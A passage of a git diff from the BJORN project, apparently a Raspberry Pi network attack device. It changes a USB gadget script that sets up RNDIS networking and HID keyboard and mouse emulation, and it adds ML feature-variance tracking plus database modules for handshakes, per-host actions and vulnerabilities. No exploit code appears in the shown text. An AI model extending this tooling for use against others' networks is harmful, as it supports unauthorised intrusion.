" - From the Pi: \`ping 172.20.2.2\`" - echo -e " - From the host computer: \`ping 172.20.2.1\`" - echo -e "" - echo -e "===== End of Procedure =====${NC}" - exit 1 + echo -e "${YELLOW}This script no longer installs or removes USB Gadget.${NC}" + echo -e "${YELLOW}That part is handled by the BJORN installer.${NC}" + if [ "${1:-exit}" = "return" ]; then + return 0 + fi + exit 0 } -# ============================================================ -# Function to Install USB Gadget with RNDIS -# ============================================================ -install_usb_gadget() { - log "INFO" "Starting USB Gadget installation..." - - # Ensure the script is run as root - if [ "$(id -u)" -ne 0 ]; then - log "ERROR" "This script must be run as root. Please use 'sudo'." - exit 1 - fi - - # Backup cmdline.txt and config.txt if not already backed up - if [ ! -f /boot/firmware/cmdline.txt.bak ]; then - cp /boot/firmware/cmdline.txt /boot/firmware/cmdline.txt.bak - check_success "Backed up /boot/firmware/cmdline.txt to /boot/firmware/cmdline.txt.bak" - else - log "INFO" "/boot/firmware/cmdline.txt.bak already exists. Skipping backup." - fi - - if [ ! -f /boot/firmware/config.txt.bak ]; then - cp /boot/firmware/config.txt /boot/firmware/config.txt.bak - check_success "Backed up /boot/firmware/config.txt to /boot/firmware/config.txt.bak" - else - log "INFO" "/boot/firmware/config.txt.bak already exists. Skipping backup." - fi - - # Modify cmdline.txt: Remove existing modules-load entries related to dwc2 - log "INFO" "Cleaning up existing modules-load entries in /boot/firmware/cmdline.txt" - sudo sed -i '/modules-load=dwc2,g_rndis/d' /boot/firmware/cmdline.txt - sudo sed -i '/modules-load=dwc2,g_ether/d' /boot/firmware/cmdline.txt - check_success "Removed duplicate modules-load entries from /boot/firmware/cmdline.txt" - - # Add a single modules-load=dwc2,g_rndis if not present - if ! grep -q "modules-load=dwc2,g_rndis" /boot/firmware/cmdline.txt; then - sudo sed -i 's/rootwait/rootwait modules-load=dwc2,g_rndis/' /boot/firmware/cmdline.txt - check_success "Added modules-load=dwc2,g_rndis to /boot/firmware/cmdline.txt" - else - log "INFO" "modules-load=dwc2,g_rndis already present in /boot/firmware/cmdline.txt" - fi - - # Add a single modules-load=dwc2,g_ether if not present - if ! grep -q "modules-load=dwc2,g_ether" /boot/firmware/cmdline.txt; then - sudo sed -i 's/rootwait/rootwait modules-load=dwc2,g_ether/' /boot/firmware/cmdline.txt - check_success "Added modules-load=dwc2,g_ether to /boot/firmware/cmdline.txt" - else - log "INFO" "modules-load=dwc2,g_ether already present in /boot/firmware/cmdline.txt" - fi - - # Modify config.txt: Remove duplicate dtoverlay=dwc2 entries - log "INFO" "Cleaning up existing dtoverlay=dwc2 entries in /boot/firmware/config.txt" - sudo sed -i '/^dtoverlay=dwc2$/d' /boot/firmware/config.txt - check_success "Removed duplicate dtoverlay=dwc2 entries from /boot/firmware/config.txt" - - # Append a single dtoverlay=dwc2 if not present - if ! grep -q "^dtoverlay=dwc2$" /boot/firmware/config.txt; then - echo "dtoverlay=dwc2" | sudo tee -a /boot/firmware/config.txt - check_success "Appended dtoverlay=dwc2 to /boot/firmware/config.txt" - else - log "INFO" "dtoverlay=dwc2 already present in /boot/firmware/config.txt" - fi - - # Create USB gadget script - if [ ! -f /usr/local/bin/usb-gadget.sh ]; then - log "INFO" "Creating USB gadget script at /usr/local/bin/usb-gadget.sh" - cat > /usr/local/bin/usb-gadget.sh << 'EOF' -#!/bin/bash -set -e - -# Enable debug mode for detailed logging -set -x - -modprobe libcomposite -cd /sys/kernel/config/usb_gadget/ -mkdir -p g1 -cd g1 - -echo 0x1d6b > idVendor -echo 0x0104 > idProduct -echo 0x0100 > bcdDevice -echo 0x0200 > bcdUSB - -mkdir -p strings/0x409 -echo "fedcba9876543210" > strings/0x409/serialnumber -echo "Raspberry Pi" > strings/0x409/manufacturer -echo "Pi Zero USB" > strings/0x409/product - -mkdir -p configs/c.1/strings/0x409 -echo "Config 1: RNDIS Network" > configs/c.1/strings/0x409/configuration -echo 250 > configs/c.1/MaxPower - -mkdir -p functions/rndis.usb0 - -# Remove existing symlink if it exists to prevent duplicates -if [ -L configs/c.1/rndis.usb0 ]; then - rm configs/c.1/rndis.usb0 -fi -ln -s functions/rndis.usb0 configs/c.1/ - -# Ensure the device is not busy before listing available USB device controllers -max_retries=10 -retry_count=0 - -while ! ls /sys/class/udc > UDC 2>/dev/null; do - if [ $retry_count -ge $max_retries ]; then - echo "Error: Device or resource busy after $max_retries attempts." - exit 1 - fi - retry_count=$((retry_count + 1)) - sleep 1 -done - -# Assign the USB Device Controller (UDC) -UDC_NAME=$(ls /sys/class/udc) -echo "$UDC_NAME" > UDC -echo "Assigned UDC: $UDC_NAME" - -# Check if the usb0 interface is already configured -if ! ip addr show usb0 | grep -q "172.20.2.1"; then - ifconfig usb0 172.20.2.1 netmask 255.255.255.0 - echo "Configured usb0 with IP 172.20.2.1" -else - echo "Interface usb0 already configured." -fi -EOF - - chmod +x /usr/local/bin/usb-gadget.sh - check_success "Created and made USB gadget script executable at /usr/local/bin/usb-gadget.sh" - else - log "INFO" "USB gadget script /usr/local/bin/usb-gadget.sh already exists. Skipping creation." - fi - - # Create USB gadget service - if [ ! -f /etc/systemd/system/usb-gadget.service ]; then - log "INFO" "Creating USB gadget systemd service at /etc/systemd/system/usb-gadget.service" - cat > /etc/systemd/system/usb-gadget.service << EOF -[Unit] -Description=USB Gadget Service -After=network.target - -[Service] -ExecStartPre=/sbin/modprobe libcomposite -ExecStart=/usr/local/bin/usb-gadget.sh -Type=simple -RemainAfterExit=yes - -[Install] -WantedBy=multi-user.target -EOF - check_success "Created USB gadget systemd service at /etc/systemd/system/usb-gadget.service" - else - log "INFO" "USB gadget systemd service /etc/systemd/system/usb-gadget.service already exists. Skipping creation." - fi - - # Configure network interface: Remove duplicate entries first - log "INFO" "Cleaning up existing network interface configurations for usb0 in /etc/network/interfaces" - if grep -q "^allow-hotplug usb0" /etc/network/interfaces; then - # Remove all lines starting with allow-hotplug usb0 and the following lines (iface and settings) - sudo sed -i '/^allow-hotplug usb0$/,/^$/d' /etc/network/interfaces - check_success "Removed existing network interface configurations for usb0 from /etc/network/interfaces" - else - log "INFO" "No existing network interface configuration for usb0 found in /etc/network/interfaces." - fi - - # Append network interface configuration for usb0 if not already present - if ! grep -q "^allow-hotplug usb0" /etc/network/interfaces; then - log "INFO" "Appending network interface configuration for usb0 to /etc/network/interfaces" - cat >> /etc/network/interfaces << EOF - -allow-hotplug usb0 -iface usb0 inet static - address 172.20.2.1 - netmask 255.255.255.0 - gateway 172.20.2.1 -EOF - check_success "Appended network interface configuration for usb0 to /etc/network/interfaces" - else - log "INFO" "Network interface usb0 already configured in /etc/network/interfaces" - fi - - # Reload systemd daemon and enable/start services - log "INFO" "Reloading systemd daemon" - systemctl daemon-reload - check_success "Reloaded systemd daemon" - - log "INFO" "Enabling systemd-networkd service" - systemctl enable systemd-networkd - check_success "Enabled systemd-networkd service" - - log "INFO" "Enabling usb-gadget service" - systemctl enable usb-gadget.service - check_success "Enabled usb-gadget service" - - log "INFO" "Starting systemd-networkd service" - systemctl start systemd-networkd - check_success "Started systemd-networkd service" - - log "INFO" "Starting usb-gadget service" - systemctl start usb-gadget.service - check_success "Started usb-gadget service" - - log "SUCCESS" "USB Gadget installation completed successfully." -} - -# ============================================================ -# Function to Uninstall USB Gadget -# ============================================================ -uninstall_usb_gadget() { - log "INFO" "Starting USB Gadget uninstallation..." - - # Ensure the script is run as root - if [ "$(id -u)" -ne 0 ]; then - log "ERROR" "This script must be run as root. Please use 'sudo'." - exit 1 - fi - - # Stop and disable USB gadget service - if systemctl is-active --quiet usb-gadget.service; then - systemctl stop usb-gadget.service - check_success "Stopped usb-gadget.service" - else - log "INFO" "usb-gadget.service is not running." - fi - - if systemctl is-enabled --quiet usb-gadget.service; then - systemctl disable usb-gadget.service - check_success "Disabled usb-gadget.service" - else - log "INFO" "usb-gadget.service is not enabled." - fi - - # Remove USB gadget service file - if [ -f /etc/systemd/system/usb-gadget.service ]; then - rm /etc/systemd/system/usb-gadget.service - check_success "Removed /etc/systemd/system/usb-gadget.service" - else - log "INFO" "/etc/systemd/system/usb-gadget.service does not exist. Skipping removal." - fi - - # Remove USB gadget script - if [ -f /usr/local/bin/usb-gadget.sh ]; then - rm /usr/local/bin/usb-gadget.sh - check_success "Removed /usr/local/bin/usb-gadget.sh" - else - log "INFO" "/usr/local/bin/usb-gadget.sh does not exist. Skipping removal." - fi - - # Restore cmdline.txt and config.txt from backups - if [ -f /boot/firmware/cmdline.txt.bak ]; then - cp /boot/firmware/cmdline.txt.bak /boot/firmware/cmdline.txt - chmod 644 /boot/firmware/cmdline.txt - check_success "Restored /boot/firmware/cmdline.txt from backup" - else - log "WARNING" "Backup /boot/firmware/cmdline.txt.bak not found. Skipping restoration." - fi - - if [ -f /boot/firmware/config.txt.bak ]; then - cp /boot/firmware/config.txt.bak /boot/firmware/config.txt - check_success "Restored /boot/firmware/config.txt from backup" - else - log "WARNING" "Backup /boot/firmware/config.txt.bak not found. Skipping restoration." - fi - - # Remove network interface configuration for usb0: Remove all related lines - if grep -q "^allow-hotplug usb0" /etc/network/interfaces; then - log "INFO" "Removing network interface configuration for usb0 from /etc/network/interfaces" - # Remove lines from allow-hotplug usb0 up to the next empty line - sudo sed -i '/^allow-hotplug usb0$/,/^$/d' /etc/network/interfaces - check_success "Removed network interface configuration for usb0 from /etc/network/interfaces" - else - log "INFO" "Network interface usb0 not found in /etc/network/interfaces. Skipping removal." - fi - - # Reload systemd daemon - log "INFO" "Reloading systemd daemon" - systemctl daemon-reload - check_success "Reloaded systemd daemon" - - # Disable and stop systemd-networkd service - if systemctl is-active --quiet systemd-networkd; then - systemctl stop systemd-networkd - check_success "Stopped systemd-networkd service" - else - log "INFO" "systemd-networkd service is not running." - fi - - if systemctl is-enabled --quiet systemd-networkd; then - systemctl disable systemd-networkd - check_success "Disabled systemd-networkd service" - else - log "INFO" "systemd-networkd service is not enabled." - fi - - # Clean up any remaining duplicate entries in cmdline.txt and config.txt - log "INFO" "Ensuring no duplicate entries remain in configuration files." - - # Remove any remaining modules-load=dwc2,g_rndis and modules-load=dwc2,g_ether - sudo sed -i '/modules-load=dwc2,g_rndis/d' /boot/firmware/cmdline.txt - sudo sed -i '/modules-load=dwc2,g_ether/d' /boot/firmware/cmdline.txt - - # Remove any remaining dtoverlay=dwc2 - sudo sed -i '/^dtoverlay=dwc2$/d' /boot/firmware/config.txt - - log "INFO" "Cleaned up duplicate entries in /boot/firmware/cmdline.txt and /boot/firmware/config.txt" - - log "SUCCESS" "USB Gadget uninstallation completed successfully." -} - -# ============================================================ -# Function to List USB Gadget Information -# ============================================================ list_usb_gadget_info() { - echo -e "${CYAN}===== USB Gadget Information =====${NC}" + local boot_pair + local cmdline_file + local config_file - # Check status of usb-gadget service - echo -e "\n${YELLOW}Service Status:${NC}" - if systemctl list-units --type=service | grep -q usb-gadget.service; then - systemctl status usb-gadget.service --no-pager + boot_pair="$(detect_boot_paths)" + cmdline_file="${boot_pair%%|*}" + config_file="${boot_pair##*|}" + + print_divider + log "SECTION" "BJORN USB Gadget Status" + print_divider + + log "INFO" "Expected layout: RNDIS usb0 + HID keyboard /dev/hidg0 + HID mouse /dev/hidg1" + log "INFO" "Script version: ${SCRIPT_VERSION}" + log "INFO" "Log file: ${LOG_FILE}" + + print_divider + log "SECTION" "Service Status" + if service_exists "$USB_GADGET_SERVICE"; then + service_active "$USB_GADGET_SERVICE" && log "SUCCESS" "${USB_GADGET_SERVICE} is active" || log "WARNING" "${USB_GADGET_SERVICE} is not active" + service_enabled "$USB_GADGET_SERVICE" && log "SUCCESS" "${USB_GADGET_SERVICE} is enabled at boot" || log "WARNING" "${USB_GADGET_SERVICE} is not enabled at boot" else - echo -e "${RED}usb-gadget.service is not installed.${NC}" + log "ERROR" "${USB_GADGET_SERVICE} is not installed on this system" fi - # Check if USB gadget script exists - echo -e "\n${YELLOW}USB Gadget Script:${NC}" - if [ -f /usr/local/bin/usb-gadget.sh ]; then - echo -e "${GREEN}/usr/local/bin/usb-gadget.sh exists.${NC}" + if service_exists "$DNSMASQ_SERVICE"; then + service_active "$DNSMASQ_SERVICE" && log "SUCCESS" "${DNSMASQ_SERVICE} is active" || log "WARNING" "${DNSMASQ_SERVICE} is not active" else - echo -e "${RED}/usr/local/bin/usb-gadget.sh does not exist.${NC}" + log "WARNING" "${DNSMASQ_SERVICE} is not installed" fi - # Check network interface configuration - echo -e "\n${YELLOW}Network Interface Configuration for usb0:${NC}" - if grep -q "^allow-hotplug usb0" /etc/network/interfaces; then - grep "^allow-hotplug usb0" /etc/network/interfaces -A 4 + print_divider + log "SECTION" "Runtime Files" + [ -x "$USB_GADGET_SCRIPT" ] && log "SUCCESS" "${USB_GADGET_SCRIPT} is present and executable" || log "ERROR" "${USB_GADGET_SCRIPT} is missing or not executable" + [ -c /dev/hidg0 ] && log "SUCCESS" "/dev/hidg0 (keyboard) is available" || log "WARNING" "/dev/hidg0 (keyboard) is not present" + [ -c /dev/hidg1 ] && log "SUCCESS" "/dev/hidg1 (mouse) is available" || log "WARNING" "/dev/hidg1 (mouse) is not present" + + if ip link show usb0 >/dev/null 2>&1; then + log "SUCCESS" "usb0 network interface exists" + ip -brief addr show usb0 2>/dev/null || true else - echo -e "${RED}No network interface configuration found for usb0.${NC}" + log "WARNING" "usb0 network interface is missing" fi - # Check cmdline.txt - echo -e "\n${YELLOW}/boot/firmware/cmdline.txt:${NC}" - if grep -q "modules-load=dwc2,g_rndis" /boot/firmware/cmdline.txt && grep -q "modules-load=dwc2,g_ether" /boot/firmware/cmdline.txt; then - echo -e "${GREEN}modules-load=dwc2,g_rndis and modules-load=dwc2,g_ether are present.${NC}" + if [ -d /sys/kernel/config/usb_gadget/g1 ]; then + log "SUCCESS" "Composite gadget directory exists: /sys/kernel/config/usb_gadget/g1" + find /sys/kernel/config/usb_gadget/g1/functions -maxdepth 1 -mindepth 1 -type d 2>/dev/null || true else - echo -e "${RED}modules-load=dwc2,g_rndis and/or modules-load=dwc2,g_ether are not present.${NC}" + log "WARNING" "No active gadget directory found under /sys/kernel/config/usb_gadget/g1" fi - # Check config.txt - echo -e "\n${YELLOW}/boot/firmware/config.txt:${NC}" - if grep -q "^dtoverlay=dwc2" /boot/firmware/config.txt; then - echo -e "${GREEN}dtoverlay=dwc2 is present.${NC}" + print_divider + log "SECTION" "Boot Configuration" + if [ -n "$cmdline_file" ] && [ -f "$cmdline_file" ]; then + grep -q "modules-load=dwc2" "$cmdline_file" && log "SUCCESS" "dwc2 boot module load is configured in ${cmdline_file}" || log "WARNING" "dwc2 boot module load not found in ${cmdline_file}" else - echo -e "${RED}dtoverlay=dwc2 is not present.${NC}" + log "WARNING" "cmdline.txt not found" fi - # Check if systemd-networkd is enabled - echo -e "\n${YELLOW}systemd-networkd Service:${NC}" - if systemctl is-enabled --quiet systemd-networkd; then - systemctl is-active systemd-networkd && echo -e "${GREEN}systemd-networkd is active.${NC}" || echo -e "${RED}systemd-networkd is inactive.${NC}" + if [ -n "$config_file" ] && [ -f "$config_file" ]; then + grep -q "^dtoverlay=dwc2" "$config_file" && log "SUCCESS" "dtoverlay=dwc2 is present in ${config_file}" || log "WARNING" "dtoverlay=dwc2 not found in ${config_file}" else - echo -e "${RED}systemd-networkd is not enabled.${NC}" + log "WARNING" "config.txt not found" fi - echo -e "\n===== End of Information =====" + [ -f "$DNSMASQ_CONFIG" ] && log "SUCCESS" "${DNSMASQ_CONFIG} exists" || log "WARNING" "${DNSMASQ_CONFIG} is missing" + [ -f "$MODULES_LOAD_FILE" ] && log "INFO" "${MODULES_LOAD_FILE} exists (64-bit style module loading)" + [ -f "$MODULES_FILE" ] && grep -q "^libcomposite" "$MODULES_FILE" && log "INFO" "libcomposite is referenced in ${MODULES_FILE}" + [ -f "$INTERFACES_FILE" ] && grep -q "^allow-hotplug usb0" "$INTERFACES_FILE" && log "INFO" "usb0 legacy interface config detected in ${INTERFACES_FILE}" + + print_divider + log "SECTION" "Quick Recovery Hints" + log "INFO" "If RNDIS or HID is stuck, run: sudo $0 -r" + log "INFO" "If startup still fails, inspect logs with: sudo journalctl -u ${USB_GADGET_SERVICE} -f" + log "INFO" "If HID nodes never appear after installer changes, a reboot may still be required" +} + +bring_usb_gadget_down() { + ensure_root + print_divider + log "SECTION" "Bringing USB gadget down" + print_divider + + if service_exists "$USB_GADGET_SERVICE"; then + if service_active "$USB_GADGET_SERVICE"; then + log "INFO" "Stopping ${USB_GADGET_SERVICE}..." + if systemctl stop "$USB_GADGET_SERVICE"; then + log "SUCCESS" "Stopped ${USB_GADGET_SERVICE}" + else + log "ERROR" "Failed to stop ${USB_GADGET_SERVICE}" + show_recent_logs + return 1 + fi + else + log "INFO" "${USB_GADGET_SERVICE} is already stopped" + fi + else + log "WARNING" "${USB_GADGET_SERVICE} is not installed, trying direct runtime cleanup" + if [ -x "$USB_GADGET_SCRIPT" ]; then + "$USB_GADGET_SCRIPT" stop >> "$LOG_FILE" 2>&1 || true + fi + fi + + if [ -x "$USB_GADGET_SCRIPT" ] && [ -d /sys/kernel/config/usb_gadget/g1 ]; then + log "INFO" "Running direct gadget cleanup via ${USB_GADGET_SCRIPT} stop" + "$USB_GADGET_SCRIPT" stop >> "$LOG_FILE" 2>&1 || log "WARNING" "Direct cleanup reported a non-fatal issue" + fi + + if ip link show usb0 >/dev/null 2>&1; then + log "INFO" "Bringing usb0 interface down" + ip link set usb0 down >> "$LOG_FILE" 2>&1 || log "WARNING" "usb0 could not be forced down (often harmless)" + else + log "INFO" "usb0 is already absent" + fi + + [ -c /dev/hidg0 ] && log "WARNING" "/dev/hidg0 still exists after stop (may clear on next start/reboot)" || log "SUCCESS" "/dev/hidg0 is no longer exposed" + [ -c /dev/hidg1 ] && log "WARNING" "/dev/hidg1 still exists after stop (may clear on next start/reboot)" || log "SUCCESS" "/dev/hidg1 is no longer exposed" + ip link show usb0 >/dev/null 2>&1 && log "WARNING" "usb0 still exists after stop" || log "SUCCESS" "usb0 is no longer present" +} + +bring_usb_gadget_up() { + ensure_root + print_divider + log "SECTION" "Bringing USB gadget up" + print_divider + + if [ ! -x "$USB_GADGET_SCRIPT" ]; then + log "ERROR" "${USB_GADGET_SCRIPT} is missing. The gadget runtime is not installed." + return 1 + fi + + if service_exists "$USB_GADGET_SERVICE"; then + log "INFO" "Reloading systemd daemon" + systemctl daemon-reload >> "$LOG_FILE" 2>&1 || log "WARNING" "systemd daemon-reload reported an issue" + + log "INFO" "Starting ${USB_GADGET_SERVICE}..." + if systemctl start "$USB_GADGET_SERVICE"; then + log "SUCCESS" "Start command sent to ${USB_GADGET_SERVICE}" + else + log "ERROR" "Failed to start ${USB_GADGET_SERVICE}" + show_recent_logs + return 1 + fi + else + log "WARNING" "${USB_GADGET_SERVICE} is not installed, running ${USB_GADGET_SCRIPT} directly" + if "$USB_GADGET_SCRIPT" >> "$LOG_FILE" 2>&1; then + log "SUCCESS" "Runtime script executed directly" + else + log "ERROR" "Runtime script failed" + return 1 + fi + fi + + wait_for_condition "${USB_GADGET_SERVICE} to become active" 10 service_active "$USB_GADGET_SERVICE" || true + wait_for_condition "usb0 to appear" 12 usb0_exists || true + + if service_exists "$DNSMASQ_SERVICE"; then + log "INFO" "Restarting ${DNSMASQ_SERVICE} to refresh DHCP on usb0" + systemctl restart "$DNSMASQ_SERVICE" >> "$LOG_FILE" 2>&1 || log "WARNING" "Failed to restart ${DNSMASQ_SERVICE}" + fi + + [ -c /dev/hidg0 ] && log "SUCCESS" "/dev/hidg0 (keyboard) is ready" || log "WARNING" "/dev/hidg0 not present yet" + [ -c /dev/hidg1 ] && log "SUCCESS" "/dev/hidg1 (mouse) is ready" || log "WARNING" "/dev/hidg1 not present yet" + + if ip link show usb0 >/dev/null 2>&1; then + log "SUCCESS" "usb0 is present" + ip -brief addr show usb0 2>/dev/null || true + else + log "WARNING" "usb0 is still missing after startup" + fi + + log "INFO" "If HID is still missing after a clean start, a reboot can still be required depending on the board/kernel state" +} + +reset_usb_gadget() { + ensure_root + print_divider + log "SECTION" "Resetting USB gadget (down + up)" + print_divider + + bring_usb_gadget_down || log "WARNING" "Down phase reported an issue, continuing with recovery" + log "INFO" "Waiting 2 seconds before bringing the gadget back up" + sleep 2 + bring_usb_gadget_up } -# ============================================================ -# Function to Display the Main Menu -# ============================================================ display_main_menu() { while true; do clear - echo -e "${BLUE}╔════════════════════════════════════════╗${NC}" - echo -e "${BLUE}║ USB Gadget Manager Menu by Infinition ║${NC}" - echo -e "${BLUE}╠════════════════════════════════════════╣${NC}" - echo -e "${BLUE}║${NC} 1. Install USB Gadget ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 2. Uninstall USB Gadget ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 3. List USB Gadget Information ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 4. Show Help ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 5. Exit ${BLUE}║${NC}" - echo -e "${BLUE}╚════════════════════════════════════════╝${NC}" - echo -e "Note: Ensure you run this script as root." - echo -e "${YELLOW}Usage: $0 [OPTIONS] (use -h for help)${NC}" - echo -n -e "${GREEN}Please choose an option (1-5): ${NC}" - read choice + print_divider + echo -e "${CYAN} BJORN USB Gadget Runtime Manager v${SCRIPT_VERSION}${NC}" + print_divider + echo -e "${BLUE} 1.${NC} Bring USB Gadget up" + echo -e "${BLUE} 2.${NC} Bring USB Gadget down" + echo -e "${BLUE} 3.${NC} Reset USB Gadget (down + up)" + echo -e "${BLUE} 4.${NC} List detailed USB Gadget status" + echo -e "${BLUE} 5.${NC} Show help" + echo -e "${BLUE} 6.${NC} Exit" + echo -e "" + echo -e "${YELLOW}Note:${NC} installation/removal is no longer handled here." + echo -n -e "${GREEN}Choose an option (1-6): ${NC}" + read -r choice - case $choice in + case "$choice" in 1) - install_usb_gadget + bring_usb_gadget_up echo "" - read -p "Press Enter to return to the menu..." + read -r -p "Press Enter to return to the menu..." ;; 2) - uninstall_usb_gadget + bring_usb_gadget_down echo "" - read -p "Press Enter to return to the menu..." + read -r -p "Press Enter to return to the menu..." ;; 3) - list_usb_gadget_info + reset_usb_gadget echo "" - read -p "Press Enter to return to the menu..." + read -r -p "Press Enter to return to the menu..." ;; 4) - show_usage + list_usb_gadget_info + echo "" + read -r -p "Press Enter to return to the menu..." ;; 5) - log "INFO" "Exiting USB Gadget Manager. Goodbye!" + show_usage return + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 6) + log "INFO" "Exiting BJORN USB Gadget Runtime Manager" exit 0 ;; *) - log "ERROR" "Invalid option. Please choose between 1-5." + log "ERROR" "Invalid option. Please choose between 1 and 6." sleep 2 ;; esac done } -# ============================================================ -# Process Command Line Arguments -# ============================================================ -while getopts ":fulh" opt; do - case $opt in - f) - install_usb_gadget - exit 0 - ;; - u) - uninstall_usb_gadget - exit 0 - ;; - l) - list_usb_gadget_info - exit 0 - ;; - h) - show_usage - ;; - \?) - echo -e "${RED}Invalid option: -$OPTARG${NC}" >&2 - show_usage - ;; - esac +while getopts ":udrlhf" opt; do + case "$opt" in + u) + bring_usb_gadget_up + exit $? + ;; + d) + bring_usb_gadget_down + exit $? + ;; + r) + reset_usb_gadget + exit $? + ;; + l) + list_usb_gadget_info + exit 0 + ;; + h) + show_usage + ;; + f) + log "ERROR" "Option -f (install) has been removed. Use -u to bring the gadget up or -r to reset it." + show_usage + ;; + \?) + log "ERROR" "Invalid option: -$OPTARG" + show_usage + ;; + esac done -# ============================================================ -# Main Execution -# ============================================================ -# If no arguments are provided, display the menu if [ $OPTIND -eq 1 ]; then display_main_menu fi diff --git a/data_consolidator.py b/data_consolidator.py index a9c96ec..e2c1d5f 100644 --- a/data_consolidator.py +++ b/data_consolidator.py @@ -40,31 +40,38 @@ class DataConsolidator: Consolidates raw feature logs into training datasets. Optimized for Raspberry Pi Zero - processes in batches. """ - + def __init__(self, shared_data, export_dir: str = None): """ Initialize data consolidator - + Args: shared_data: SharedData instance export_dir: Directory for export files """ self.shared_data = shared_data self.db = shared_data.db - + if export_dir is None: # Default to shared_data path (cross-platform) self.export_dir = Path(getattr(shared_data, 'ml_exports_dir', Path(shared_data.data_dir) / "ml_exports")) else: self.export_dir = Path(export_dir) - + self.export_dir.mkdir(parents=True, exist_ok=True) # Server health state consumed by orchestrator fallback logic. self.last_server_attempted = False self.last_server_contact_ok = None self._upload_backoff_until = 0.0 self._upload_backoff_current_s = 0.0 - + + # AI-01: Feature variance tracking for dimensionality reduction + self._feature_variance_min = float( + getattr(shared_data, 'ai_feature_selection_min_variance', 0.001) + ) + # Accumulator: {feature_name: [sum, sum_of_squares, count]} + self._feature_stats = {} + logger.info(f"DataConsolidator initialized, exports: {self.export_dir}") def _set_server_contact_state(self, attempted: bool, ok: Optional[bool]) -> None: @@ -206,7 +213,10 @@ class DataConsolidator: feature_vector = self._build_feature_vector( host_features, network_features, temporal_features, action_features ) - + + # AI-01: Track feature variance for dimensionality reduction + self._track_feature_variance(feature_vector) + # Determine time window raw_ts = record['timestamp'] if isinstance(raw_ts, str): @@ -340,6 +350,72 @@ class DataConsolidator: logger.error(f"Error updating aggregated features: {e}") raise + # ═══════════════════════════════════════════════════════════════════════ + # AI-01: FEATURE VARIANCE TRACKING & SELECTION + # ═══════════════════════════════════════════════════════════════════════ + + def _track_feature_variance(self, feature_vector: Dict[str, float]): + """ + Update running statistics (mean, variance) for each feature. + Uses Welford's online algorithm via sum/sum_sq/count. + """ + for name, value in feature_vector.items(): + try: + val = float(value) + except (TypeError, ValueError): + continue + if name not in self._feature_stats: + self._feature_stats[name] = [0.0, 0.0, 0] + stats = self._feature_stats[name] + stats[0] += val # sum + stats[1] += val * val # sum of squares + stats[2] += 1 # count + + def _get_feature_variances(self) -> Dict[str, float]: + """Return computed variance for each tracked feature.""" + variances = {} + for name, (s, sq, n) in self._feature_stats.items(): + if n < 2: + variances[name] = 0.0 + else: + mean = s / n + variances[name] = max(0.0, sq / n - mean * mean) + return variances + + def _get_selected_features(self) -> List[str]: + """Return feature names that pass the minimum variance threshold.""" + threshold = self._feature_variance_min + variances = self._get_feature_variances() + selected = [name for name, var in variances.items() if var >= threshold] + dropped = len(variances) - len(selected) + if dropped > 0: + logger.info( + f"Feature selection: kept {len(selected)}/{len(variances)} features " + f"(dropped {dropped} near-zero variance < {threshold})" + ) + return sorted(selected) + + def _write_feature_manifest(self, selected_features: List[str], export_filepath: str): + """Write feature_manifest.json alongside the export file.""" + try: + variances = self._get_feature_variances() + manifest = { + 'created_at': datetime.now().isoformat(), + 'feature_count': len(selected_features), + 'min_variance_threshold': self._feature_variance_min, + 'features': { + name: {'variance': round(variances.get(name, 0.0), 6)} + for name in selected_features + }, + 'export_file': str(export_filepath), + } + manifest_path = self.export_dir / 'feature_manifest.json' + with open(manifest_path, 'w', encoding='utf-8') as f: + json.dump(manifest, f, indent=2) + logger.info(f"Feature manifest written: {manifest_path} ({len(selected_features)} features)") + except Exception as e: + logger.error(f"Failed to write feature manifest: {e}") + # ═══════════════════════════════════════════════════════════════════════ # EXPORT FUNCTIONS # ═══════════════════════════════════════════════════════════════════════ @@ -411,6 +487,14 @@ class DataConsolidator: # Free the large records list immediately after export — record_ids is all we still need del records + # AI-01: Write feature manifest with variance-filtered feature names + try: + selected = self._get_selected_features() + if selected: + self._write_feature_manifest(selected, str(filepath)) + except Exception as e: + logger.error(f"Feature manifest generation failed: {e}") + # Create export batch record batch_id = self._create_export_batch(filepath, count) diff --git a/database.py b/database.py index 96dab24..e7d12fc 100644 --- a/database.py +++ b/database.py @@ -26,6 +26,9 @@ from db_utils.comments import CommentOps from db_utils.agents import AgentOps from db_utils.studio import StudioOps from db_utils.webenum import WebEnumOps +from db_utils.sentinel import SentinelOps +from db_utils.bifrost import BifrostOps +from db_utils.loki import LokiOps logger = Logger(name="database.py", level=logging.DEBUG) @@ -61,7 +64,10 @@ class BjornDatabase: self._agents = AgentOps(self._base) self._studio = StudioOps(self._base) self._webenum = WebEnumOps(self._base) - + self._sentinel = SentinelOps(self._base) + self._bifrost = BifrostOps(self._base) + self._loki = LokiOps(self._base) + # Ensure schema is created self.ensure_schema() @@ -138,7 +144,10 @@ class BjornDatabase: self._agents.create_tables() self._studio.create_tables() self._webenum.create_tables() - + self._sentinel.create_tables() + self._bifrost.create_tables() + self._loki.create_tables() + # Initialize stats singleton self._stats.ensure_stats_initialized() @@ -268,7 +277,27 @@ class BjornDatabase: def get_last_action_statuses_for_mac(self, mac_address: str) -> Dict[str, Dict[str, str]]: return self._queue.get_last_action_statuses_for_mac(mac_address) - + + # Circuit breaker operations + def record_circuit_breaker_failure(self, action_name: str, mac: str = '', + max_failures: int = 5, cooldown_s: int = 300) -> None: + return self._queue.record_circuit_breaker_failure(action_name, mac, max_failures, cooldown_s) + + def record_circuit_breaker_success(self, action_name: str, mac: str = '') -> None: + return self._queue.record_circuit_breaker_success(action_name, mac) + + def is_circuit_open(self, action_name: str, mac: str = '') -> bool: + return self._queue.is_circuit_open(action_name, mac) + + def get_circuit_breaker_status(self, action_name: str, mac: str = '') -> Optional[Dict[str, Any]]: + return self._queue.get_circuit_breaker_status(action_name, mac) + + def reset_circuit_breaker(self, action_name: str, mac: str = '') -> None: + return self._queue.reset_circuit_breaker(action_name, mac) + + def count_running_actions(self, action_name: Optional[str] = None) -> int: + return self._queue.count_running_actions(action_name) + # Vulnerability operations def add_vulnerability(self, mac_address: str, vuln_id: str, ip: Optional[str] = None, hostname: Optional[str] = None, port: Optional[int] = None): diff --git a/db_utils/bifrost.py b/db_utils/bifrost.py new file mode 100644 index 0000000..f937a5b --- /dev/null +++ b/db_utils/bifrost.py @@ -0,0 +1,116 @@ +""" +Bifrost DB operations — networks, handshakes, epochs, activity, 